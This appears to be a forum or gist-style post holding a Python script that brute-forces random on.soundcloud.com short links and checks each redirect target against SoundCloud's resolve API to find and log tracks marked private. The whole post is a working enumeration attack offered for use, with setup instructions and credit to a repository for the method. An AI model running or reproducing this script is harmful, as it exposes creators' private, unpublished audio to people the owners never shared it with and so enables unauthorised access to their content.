Soundcloud private track bruteforce

soundcloud_bruteforce.py

import requests
import random
import string

session = requests.session()


if __name__ == "__main__":
    client_id = input("Client ID: ")

    i = 0

    n = int(input("Bruteforce iterations (-1 for unlimited): "))

    with open("soundcloud_private_tracks.txt", "a", encoding="utf-8") as f:
        while i < n or n == -1:
            def is_private(url):
                # Check if it's private
                r = session.get(f"https://api-v2.soundcloud.com/resolve?client_id={client_id}&url={url}")

                if r.status_code == 401:
                    raise ValueError("Invalid client ID")

                if not r.text:
                    return False

                if r.json().get('sharing') == 'private':
                    return True
                else:
                    return False

            # Fuck the walrus haters
            if (short_url := session.get(f"https://on.soundcloud.com/{''.join(random.choice(string.ascii_letters + string.digits) for _ in range(5))}", allow_redirects=False)).status_code == 302:
                original_url = short_url.headers["Location"]

                if is_private(original_url):
                    print(f"private track: {original_url}")
                    f.write(original_url + "\n")

            i += 1

    print("done")

Credit to https://github.com/3eyka/sound-cloudripper for discovering this method. Some logic is copied from that repo.

Run pip install requests before executing the script.